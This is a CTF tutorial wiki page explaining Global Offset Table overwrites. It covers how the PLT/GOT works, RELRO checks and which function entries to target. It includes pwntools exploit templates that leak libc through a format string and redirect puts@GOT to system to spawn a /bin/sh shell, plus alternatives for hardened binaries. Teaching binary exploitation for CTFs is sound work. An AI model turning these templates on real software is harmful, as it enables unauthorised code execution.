Athena Wiki

GOT Overwrite

pwnintermediate

Overwrite Global Offset Table entries to redirect libc function calls in CTF pwn challenges.

pwngotpltrelrooverwriteformat-stringheaparbitrary-write

GOT Overwrite

The GOT (Global Offset Table) stores the runtime addresses of libc functions. If you can write to it, you can redirect any libc function call to wherever you want, like turning puts("/bin/sh") into system("/bin/sh").

This technique turns an arbitrary write primitive into code execution.


How PLT/GOT Works

When a compiled binary calls puts("Hello"), it doesn't know where puts actually lives in memory (because of ASLR). Instead:

  1. The binary calls puts@PLT — a small stub in the binary
  2. puts@PLT jumps to the address stored in puts@GOT
  3. The first time, the dynamic linker fills puts@GOT with the real libc address
  4. Every subsequent call, puts@GOT is used directly
puts@PLT:
  jmp [puts@GOT]      ← looks up the real address
  push 0              ← lazy binding stub (first call only)
  jmp _PLT_0

The GOT is just a table of function pointers. If you overwrite one of those pointers, the next call to that function goes wherever you point it.


Requirements

RequirementWhy
Partial RELROFull RELRO makes the GOT read-only — you can't overwrite it
Arbitrary write primitiveFormat string, heap overflow, UAF, etc.
Control over the function argumentYou need to pass "/bin/sh" to system()

Run checksec first:

RELRO:    Partial RELRO    ← GOT is writable, you can proceed
RELRO:    Full RELRO       ← GOT is read-only, use alternatives

Strategy

  1. Verify Partial RELRO with checksec
  2. Find a function that's called after your overwrite
  3. Make sure you can control its argument when it's called
  4. Overwrite that function's GOT entry with system
  5. Trigger the call with "/bin/sh" as the argument

Choosing a Target

Not all GOT entries are equally useful. You need a function that will be called with an argument you control:

TargetCalled with whatStrategy
putsany stringCall puts("/bin/sh") → actually calls system("/bin/sh")
printfformat stringprintf("/bin/sh")system("/bin/sh")
atoiuser input stringInput "/bin/sh"atoi("/bin/sh")system("/bin/sh")
strlenany stringstrlen("/bin/sh")system("/bin/sh")
exitintegerLess useful, but sometimes works

atoi is especially powerful: if the program calls atoi(user_input) in a loop, overwrite atoi@GOT with system, then type /bin/sh when prompted.


Example: Format String GOT Overwrite

This is the most common CTF pattern — a format string bug gives you both the leak and the write:

from pwn import *

elf  = ELF('./vuln')
libc = ELF('./libc.so.6')
p    = process('./vuln')

# Step 1: Leak libc via format string
p.sendline(b"%21$p")    # find this offset by trial
leak = int(p.recvline().strip(), 16)
libc.address = leak - libc.sym['__libc_start_main'] - 0x80
log.success(f"libc @ {hex(libc.address)}")

# Step 2: Overwrite puts@GOT with system
fmt_offset = 6   # your format string offset
writes = {elf.got['puts']: libc.sym['system']}
p.sendline(fmtstr_payload(fmt_offset, writes))

# Step 3: Trigger — next puts("/bin/sh") calls system("/bin/sh")
p.sendline(b"/bin/sh")
p.interactive()

Example: Heap-Based GOT Overwrite

When you have a heap primitive (UAF, overflow) that gives arbitrary write:

from pwn import *

elf  = ELF('./vuln')
libc = ELF('./libc.so.6')
p    = process('./vuln')

# After getting libc leak and computing system address:
target = elf.got['puts']
value  = libc.sym['system']

# Use your write primitive (tcache poisoning, UAF, etc.)
# to write value to target
write_to(target, value)

# Trigger: call the overwritten function with "/bin/sh"
p.sendline(b'/bin/sh')
p.interactive()

For heap-based write primitives, see Heap Exploitation and Tcache Poisoning.


Verifying in GDB

gdb ./vuln
(gdb) info got                # show all GOT entries and their values
(gdb) x/gx &puts              # check puts@GOT specifically

# After your overwrite:
(gdb) x/gx <puts@got address>
# Should show the address of system() instead of puts()

When Full RELRO Blocks GOT Overwrite

With Full RELRO, the GOT is read-only. You need alternative targets:

Targetglibc versionNotes
__free_hook< 2.34Called on every free()
__malloc_hook< 2.34Called on every malloc()
__realloc_hook< 2.34Called on every realloc()
_IO_2_1_stdout_AnyFSOP — fake file struct (advanced)
.fini_arrayAnyCalled on program exit

For glibc 2.34+ (where hooks are removed), the main alternative is FSOP via House of Apple.


Checklist

  • checksec — Partial RELRO? → GOT is writable
  • Full RELRO? → use hooks, FSOP, or stack-based writes instead
  • Leak libc first (to compute system address)
  • Choose target: puts, atoi, exit, strlen — pick one you can control the argument of
  • Use your write primitive: format string, heap UAF, overflow
  • Control the argument to the overwritten function → pass "/bin/sh"
  • Verify in GDB before sending to remote

Last updated on

On this page